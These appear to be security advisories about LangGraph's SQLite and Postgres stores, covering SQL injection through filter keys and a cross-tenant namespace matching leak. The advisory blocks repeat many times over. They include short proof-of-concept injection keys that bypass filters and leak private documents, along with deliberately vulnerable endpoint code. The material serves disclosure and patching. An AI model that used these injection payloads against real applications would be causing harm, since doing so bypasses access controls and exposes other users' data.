2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

1. Update to the patched version of langgraph-checkpoint-sqlite
2. Audit your code for locations where filter keys come from untrusted sources

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

A SQL injection vulnerability exists in the langchain-ai/langgraph repository, specifically in the LangGraph's SQLite store implementation. The affected version is langgraph-checkpoint-sqlite 2.0.10. The vulnerability arises from improper handling of filter operators ($eq, $ne, $gt, $lt, $gte, $lte) where direct string concatenation is used without proper parameterization. This allows attackers to inject arbitrary SQL, leading to unauthorized access to all documents, data exfiltration of sensitive fields such as passwords and API keys, and a complete bypass of application-level security filters.

Summary

The Postgres and SQLite stores persist hierarchical namespaces as a dot-joined string (("memories", "alice") becomes memories.alice) and scoped reads by matching that string with LIKE '<path>%'. Because LIKE has no notion of the . separator, a scoped search or list_namespaces also matched sibling namespaces whose flattened form shares leading characters.

Applications commonly use the namespace as a tenant boundary. Where they do, a read scoped to one namespace could return items belonging to another, without any crafted input — an ordinary scoped request was sufficient.

We have no evidence of this behavior being exploited in the wild.

Affected users / systems

You may be affected if you:

• use PostgresStore/AsyncPostgresStore or SqliteStore/AsyncSqliteStore, and
• rely on the namespace to separate data between users or tenants, and
• have namespace labels where one is a prefix of another (1 and 12, alice and alice2), or labels containing _ or %

Applications whose namespace labels are fixed-length identifiers such as UUIDs, containing no _ or %, are not affected — no such label can be a prefix of another. InMemoryStore compares namespaces element-wise and is not affected.

Three distinct cases were possible:

• Sibling namespaces. A read scoped to ("foo",) also returned items under ("foobar",) and ("foo2",).
• Unescaped pattern metacharacters. _ and % are legal namespace labels — only . is rejected — but were interpolated into the match pattern unescaped, so ("user_1",) also matched ("userX1",).
• Suffix conditions. list_namespaces(suffix=("alice",)) also matched the sibling leaf users.malice.

This is not SQL injection. Values were passed as bound parameters and never interpolated into statement text; the bound value was itself a LIKE pattern whose metacharacters were not neutralized.

Impact

• Confidentiality: disclosure of stored items belonging to namespaces outside the caller's intended scope, where namespaces are used as a tenant or user boundary.
• No integrity or availability impact. get, put, and delete compare namespaces with = and were never affected; the issue is limited to read paths.

Patches / mitigation

Prefix scoping now matches the namespace exactly or requires the . separator before any remainder, pattern metacharacters in labels are escaped, and list_namespaces uses segment-aware matching for both prefix and suffix conditions.

On SQLite, the descendant match moved from LIKE to GLOB. LIKE is case-insensitive for ASCII in SQLite, so scoped reads previously matched namespaces differing only in case, while get/put/delete treated them as distinct. Search now agrees with them.

Upgrade to langgraph-checkpoint-postgres 3.1.1 or langgraph-checkpoint-sqlite 3.1.1.

Compatibility

* in a list_namespaces match path now spans exactly one namespace segment. This restores the documented behavior — NamespacePath documents ("cache", "*", "v1") as "any cache category with v1 version" — and matches InMemoryStore. Multi-segment matching was an artifact of translating * into a SQL % wildcard, the same mechanism responsible for this issue, and could not be preserved while fixing it.

Callers relying on the previous behavior can express "match at any depth" by combining both match conditions, which are ANDed:

list_namespaces(prefix=["uid"], suffix=["alice"])

Applications whose namespace labels cannot be prefixes of one another see no behavioral change.

Operational guidance

• Prefer fixed-length namespace labels such as UUIDs, so no label can be a prefix of another.
• Where labels are user-supplied, validate them at the boundary rather than relying on scoping alone.

LangSmith / hosted deployments note

Unlike previous store advisories, this issue does reach hosted deployments. LangSmith deployments default to LANGGRAPH_STORE_BACKEND=python, which uses AsyncPostgresStore from checkpoint-postgres. Deployments configured with LANGGRAPH_STORE_BACKEND=grpc use a separate implementation that received an equivalent fix.

Context

A SQL injection vulnerability exists in LangGraph's SQLite checkpoint implementation that allows attackers to manipulate SQL queries through metadata filter keys. This affects applications that accept untrusted metadata filter keys (not just filter values) in checkpoint search operations.

Impact

Attackers who control metadata filter keys can execute arbitrary sql queries against the database.

Root Cause

The _metadata_predicate() function constructs SQL queries by interpolating filter keys directly into f-strings without validation:

# VULNERABLE CODE (before fix)
for query_key, query_value in metadata_filter.items():
    operator, param_value = _where_value(query_value)
    predicates.append(
        f"json_extract(CAST(metadata AS TEXT), '$.{query_key}') {operator}"
    )
    param_values.append(param_value)

While filter values are parameterized, filter keys are not validated, allowing SQL injection.

Attack Example

Before Fix:

from langgraph.checkpoint.sqlite import SqliteSaver

saver = SqliteSaver.from_conn_string("checkpoints.db")

# Attacker controls the filter keys
malicious_filter = {"x') OR '1'='1": "dummy"}

# Returns ALL checkpoints, bypassing filtering
results = list(saver.list(None, filter=malicious_filter))

Resulting SQL:

WHERE json_extract(CAST(metadata AS TEXT), '$.x') OR '1'='1') = ?
-- Injected condition makes WHERE clause always true

Who Is Affected?

LangSmith Deployment Customers: NOT Impacted

LangSmith deployment customers are NOT affected by this vulnerability. LangSmith deployments do not allow configuring custom checkpointers, so the vulnerable code path cannot be reached.

High Risk: Custom Server Deployments

You are affected if your application:

• Runs a custom server with SqliteSaver checkpointer
• Exposes an endpoint for fetching checkpoint history (e.g., via get_state_history())
• Accepts metadata filter keys from untrusted sources

Example vulnerable code:

# Custom server endpoint - User controls filter key names - DANGEROUS
@app.post("/api/history")
def get_history(request):
    filter_field = request.json.get("filter_field")  # Untrusted input
    filter_value = request.json.get("filter_value")

    # VULNERABLE: Attacker can bypass access controls
    history = list(graph.get_state_history(
        config,
        filter={filter_field: filter_value}
    ))
    return history

Note on privilege escalation: If an endpoint allows end users to specify arbitrary filter keys, those users likely already have legitimate access to query the checkpoint database. In such cases, this vulnerability may not constitute a privilege escalation, as users who can control filter keys would typically already be expected to have database access. However, the SQL injection still allows bypassing intended filtering logic and metadata-based access controls that the application may rely on for data isolation.

Additional Security Hardening (Defense in Depth)

This release also includes hardening improvements:

1. Checkpoint Limit Parameter: used f-string interpolation into parameterized query. Not considered a vulnerability as it requires users to accept untrusted input and not validate it against the actual API signature.

2. Store Filter Value Parameterization: Refactored all filter value handling from manual quote escaping to parameterized queries

Remediation

Immediate Actions

